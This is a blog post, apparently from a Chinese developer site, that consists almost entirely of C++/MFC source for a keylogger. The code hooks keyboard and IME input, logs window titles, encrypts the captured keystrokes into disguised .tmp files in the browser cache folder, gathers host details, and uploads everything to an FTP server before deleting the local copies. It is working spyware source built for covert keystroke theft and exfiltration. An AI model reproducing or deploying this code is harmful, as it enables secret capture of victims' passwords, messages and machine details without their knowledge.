Record

////Record.h

#pragma once
#include "GetPCInfos.h"
#include <afxmt.h>


#define WM_KEYHOOK_CN    WM_USER+100 //中文鍵盤消息
#define WM_FTP    WM_USER+101

#define MAX_INFO_SIZE  256
#define MAX_CN_STRING_LEN 256
//消息結構體,記錄截獲到的中文信息及當前窗口句柄
typedef struct _recordInfo
{
 char lpstr[MAX_INFO_SIZE];  //獲取中文輸入信息
 //char svTitle[MAX_INFO_SIZE];
 HWND hFocus;     //當前窗口句柄  
} RecordInfo,*PRecordInfo;

//文件類型:分別對應鍵盤記錄文件、主機信息文件、錄屏文件
typedef enum{
 DAT,TMP,EXE
}FILE_TYPE;


class CRecord
{
public:
 CRecord(void);
 ~CRecord(void);
 void GetInfo(); //獲取IP等信息
 int InitEnvironment();
 int SetKeyBoardHookThreadId(int threadid);
 void CreateRecordFileName();
 void WriteDownStr(const CString strData);
 BOOL PutFile(CString strSourceName, CString strDestName);
public:
 CEvent uploadEvent;

 CString strEncrypt;      //記錄的信息
 HWND g_hLastFocus;
 unsigned nKeyRecordThreadID;   //鍵盤記錄線程ID
 HANDLE hKeyRecordThread;    //鍵盤記錄線程句柄
 unsigned nFTPthreadID;   //
 HANDLE hFTPThread;   //
 CString FullRecorderFileName ;
 CString m_strFtpSite;
 CString m_strFtpName;
 CString m_strFtpPassword;
};

 

////Record.cpp

#include "stdafx.h"
#include "Record.h"
#include "NetProperty.h"
#include <Shlwapi.h>
#include <process.h>
#include "afxinet.h"
#include "afx.h"
#include "Imm.h"
#include "KHook.h"
#include "DisposeData.h"

#pragma comment(lib,"shlwapi")
#pragma comment(lib,"imm32.lib")
#pragma comment(lib,"KHook.lib")

UINT __stdcall UploadFile(LPVOID lParam)
{
 CRecord * pRecord = (CRecord *)lParam;
 CMutex mText;
 while (TRUE)
 {

  WaitForSingleObject(pRecord->uploadEvent,INFINITE);
  Sleep(180000);
  CFile fileExist;

  if (fileExist.Open(pRecord->FullRecorderFileName,CFile::modeReadWrite))
  {
   fileExist.Close(); 
   if(!pRecord->strEncrypt.IsEmpty())
   {
    pRecord->WriteDownStr(pRecord->strEncrypt);
    pRecord->strEncrypt.Empty();
   }
   char * tmpFilename =new char[MAX_PATH];      
   memset(tmpFilename,0,MAX_PATH);  
   memcpy(tmpFilename,pRecord->FullRecorderFileName,pRecord->FullRecorderFileName.GetLength());

   if(!PostThreadMessage(pRecord->nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg
   {       
    PostThreadMessage(pRecord->nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0);
   }  

  }
  pRecord->uploadEvent.ResetEvent();
 }
 return 1;
}


unsigned __stdcall RecordCnKey(void *param)
{
 TRACE("Start RecordCnKey thread....\r\n");

 SECURITY_ATTRIBUTES sa;  
 SECURITY_DESCRIPTOR sd;  

 InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION);  
 SetSecurityDescriptorDacl(&sd,TRUE,NULL,FALSE);  
 sa.nLength = sizeof(SECURITY_ATTRIBUTES);  
 sa.lpSecurityDescriptor = &sd,  
 sa.bInheritHandle = FALSE; 

 DWORD threadid=GetCurrentThreadId();
 HANDLE hThreadid=CreateFileMapping((HANDLE)0xffffffff,&sa,PAGE_READWRITE,0,sizeof(int),"Threadid");
 HANDLE hCNString=CreateFileMapping((HANDLE)0xffffffff,&sa,PAGE_READWRITE,0,MAX_CN_STRING_LEN,"CNString");
 if(hThreadid){
  int *pThreadid=(int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
  if(pThreadid) *pThreadid=threadid;
 }

 CRecord *pRecord;
 pRecord = (CRecord *)param;

 MSG msg;
 PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE);
 while(true)
 {
  if(GetMessage(&msg,0,0,0)) //get msg from message queue
  {   
   switch(msg.message)
   {
   case WM_KEYHOOK_CN:
    PRecordInfo pInfo = (PRecordInfo)msg.wParam;
    //此處判斷若窗口已改變,則將上一窗口記錄的文件名發送到FTP線程,由FTP線程負責上傳及刪除,
    //發送完畢後,此處重新生成新窗口的記錄文件名,將窗口名稱及記錄 信息寫入到新窗口文件中。
    //若窗口未改變,則直接在原窗口文件後面追加記錄信息
    //HWND hFocus=GetActiveWindow();
    HWND hFocus=GetForegroundWindow();
    int aa = GetLastError();
    TRACE("GetLastError:%d",aa);
    if(pRecord->g_hLastFocus!=hFocus)
     //if(pRecord->g_hLastFocus!=pInfo->hFocus)
    {
     //MessageBox(0,pRecord->FullRecorderFileName,"100",0);
     if(!pRecord->FullRecorderFileName.IsEmpty())
     {   
      //如果上傳文件的時候,strEncrypt中還有信息就先寫到文件中再上傳
      if(!pRecord->strEncrypt.IsEmpty())
      {
       pRecord->WriteDownStr(pRecord->strEncrypt);
       pRecord->strEncrypt.Empty();
      }
      char * tmpFilename =new char[MAX_PATH];      
      memset(tmpFilename,0,MAX_PATH);      
      memcpy(tmpFilename,pRecord->FullRecorderFileName,pRecord->FullRecorderFileName.GetLength());
      
      if(!PostThreadMessage(pRecord->nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg
      {       
       PostThreadMessage(pRecord->nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0);
      }
     }
     pRecord->uploadEvent.SetEvent();
     pRecord->CreateRecordFileName();

     char svTitle[256];
     int nCount;
     nCount=GetWindowText(hFocus,svTitle,256);
     if(nCount>0)
     {
      CString tmpstr;
      tmpstr.Format("[^%s^]\r\n",svTitle);
      pRecord->WriteDownStr(tmpstr);
     }
     pRecord->g_hLastFocus=hFocus;
    } 

    char *pCNString;
    HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false,"CNString");
    if(hCNString)
    {
     pCNString=(char *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
     pRecord->strEncrypt += pCNString;
     //如果strEncrypt的長度大於或者8了就可以寫入到文件中,
     //主要是可以在解密的時候效率更高,文件傳輸的時候不至於傳輸文件過大
     //每個按鍵輸出的信息都分別加密會導致程序效率較低
     //所以最後將按鍵記錄大於等於8再加密一次
     if(pRecord->strEncrypt.GetLength() >= 8)    
     {
      pRecord->WriteDownStr(pRecord->strEncrypt);
      pRecord->strEncrypt.Empty();
     }
    }

 

    /*pRecord->WriteDownStr(pInfo->lpstr);
    delete pInfo;*/
    break;
   }
  } 
 }
 return 0;
}


unsigned __stdcall FTPAndDelete(void *param)
{
 TRACE("Start FTPAndDelete thread....\r\n");
 CRecord *pRecord;
 pRecord = (CRecord *) param;
 MSG msg;
 PeekMessage(&msg, NULL, WM_FTP, WM_FTP, PM_NOREMOVE);

 while(true)
 {
  if(GetMessage(&msg,0,0,0)) //get msg from message queue
  {
   switch(msg.message)
   {
   case WM_FTP:
    char *tmpfilname = (char*) msg.wParam;    
    if(tmpfilname!=NULL && PathFileExists(tmpfilname))
    {
     CString localfilename;
     localfilename.Format("%s",tmpfilname);
     CString remotefilename;
     remotefilename = localfilename.Mid(localfilename.ReverseFind('\\')+1,localfilename.GetLength()-localfilename.ReverseFind('\\')-1);
     if(pRecord->PutFile(localfilename,remotefilename))
     {
      remove(localfilename);
     }
    }
    else
    {
 //    MessageBox(NULL,tmpfilname,"不存在",0);
    }
    delete [] tmpfilname;
    break;
   }
  }
 }
}

CRecord::CRecord( void )
{
 g_hLastFocus = NULL;
 nKeyRecordThreadID = 0;   //鍵盤記錄線程ID
 hKeyRecordThread = NULL;    //鍵盤記錄線程句柄
 nFTPthreadID = 0;   //
 hFTPThread = NULL;   //
 FullRecorderFileName ="";

 m_strFtpSite = "127.0.0.1";
 m_strFtpName = "toldo";
 m_strFtpPassword = "toldo";
}

CRecord::~CRecord( void )
{
 
}

//初始化,啓動兩個線程,設置KHook.dll中鍵盤記錄ID
int CRecord::InitEnvironment()
{
 TRACE("Begin Initialize Environment ...\r\n");
 hKeyRecordThread = (HANDLE)_beginthreadex( NULL, 0, &RecordCnKey, (LPVOID)this, 0, &nKeyRecordThreadID );
 hFTPThread = (HANDLE) _beginthreadex(NULL,0,&FTPAndDelete,(LPVOID)this,0,&nFTPthreadID);
 //HANDLE hThreadid=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,sizeof(long),"nKeyRecordThreadID");
 _beginthreadex(NULL,0,&UploadFile,(LPVOID)this,0,NULL);
 SetKBHookCn();
 TRACE("Initialize Ok!\r\n");

 GetInfo();
 return 0;
}

void CRecord::CreateRecordFileName()
{
 CString m_CurrentTime;
 CTime m_currentTime=CTime::GetCurrentTime();
 m_CurrentTime.Format(_T("%04d%02d%02d%02d%02d%02d"),
  m_currentTime.GetYear(),
  m_currentTime.GetMonth(),
  m_currentTime.GetDay(),
  m_currentTime.GetHour(),
  m_currentTime.GetMinute(),
  m_currentTime.GetSecond()); 
 char chTempPath[MAX_PATH] = {0};
 BOOL b= SHGetSpecialFolderPath(NULL,chTempPath, CSIDL_INTERNET_CACHE,0);//獲取特殊路徑

 CString strTempPath = chTempPath;
 strTempPath += TEXT("\\");


 GetPCInfos macInfo;


 //CNetProperty netIp;
 CString m_Ip;
 char tmpIP[32];
 macInfo.GetMacByGetAdaptersInfo(tmpIP);
 m_Ip.Format("%s",tmpIP);

 // FullRecorderFileName = strTempPath + m_Ip +"-"+ m_CurrentTime ;
 CString tmpFileName = m_Ip +"-"+ m_CurrentTime;

 //加密文件名
 char *tmp = tmpFileName.GetBuffer(0);
 tmpFileName.ReleaseBuffer();
 DisposeData m_encodeFileName;
 m_encodeFileName.SetValue(tmp);
 tmpFileName = m_encodeFileName.EncryptFileName();
 FullRecorderFileName = strTempPath + tmpFileName + ".tmp";
 TRACE("CreateRecordFileName Ok!\r\n");

}

void CRecord::WriteDownStr( const CString strData )
{
 //記錄文件指針
 FILE *pRecorderFile;
 //寫入文件
 fopen_s(&pRecorderFile,  FullRecorderFileName, "ab+");
 if (NULL != pRecorderFile)
 {
  char buff[1024] = {0};
  strcpy_s(buff, strData.GetLength()+1, strData);
  buff[strData.GetLength()] = '\0';
  //加密內容
  DisposeData encode;
  encode.SetValue(buff);
  CString tmpBuf;
  tmpBuf = encode.ProcessData(TRUE);
  memset(buff,0,1024);
  strcpy_s(buff, tmpBuf.GetLength()+1, tmpBuf);
  fwrite(buff, tmpBuf.GetLength(), 1, pRecorderFile);
  //不寫入換行
  //strcpy_s(buff, sizeof(TEXT("\n")), TEXT("\n"));
  //fwrite(buff, sizeof("\n"), 1, pLogFile);
  fclose(pRecorderFile);
  pRecorderFile = NULL;
  TRACE("WriteDown %s Ok!\r\n",strData);
 }
}

BOOL CRecord::PutFile( CString strSourceName, CString strDestName )
{
 CInternetSession* pSession;
 CFtpConnection* pConnection;

 pConnection=NULL;

 //創建Internet會話
 pSession=new CInternetSession("MYFTP",
  1,
  PRE_CONFIG_INTERNET_ACCESS);

 try
 {
  //建立FTP連接
  pConnection=pSession->GetFtpConnection( m_strFtpSite,
   m_strFtpName,
   m_strFtpPassword);
 }
 catch (CInternetException* e)
 {
  //錯誤處理
  e->Delete();
  pConnection=NULL;
  return FALSE;
 }

 if (pConnection!=NULL)
 {
  //上傳文件
  if (!pConnection->PutFile(strSourceName,strDestName))
  {
   //上傳文件錯誤
   pConnection->Close();
   delete pConnection;
   delete pSession;
   return FALSE;
  }
 }

 //清除對象
 if (pConnection!=NULL)
 {
  pConnection->Close();
  delete pConnection;
 }

 delete pSession;

 return TRUE;

}

void CRecord::GetInfo()
{
 GetPCInfos info;
 info.GetPcInfo();
 info.SaveFile();

 CString strSourceFile(info.GetFilePath().c_str());
 CString strDestName;
 strDestName=strSourceFile.Right(strSourceFile.GetLength()-strSourceFile.ReverseFind('\\')-1);
 PutFile(strSourceFile,strDestName);
}

 

 

 

 

 

發佈了56 篇原創文章 · 獲贊 5 · 訪問量 81萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章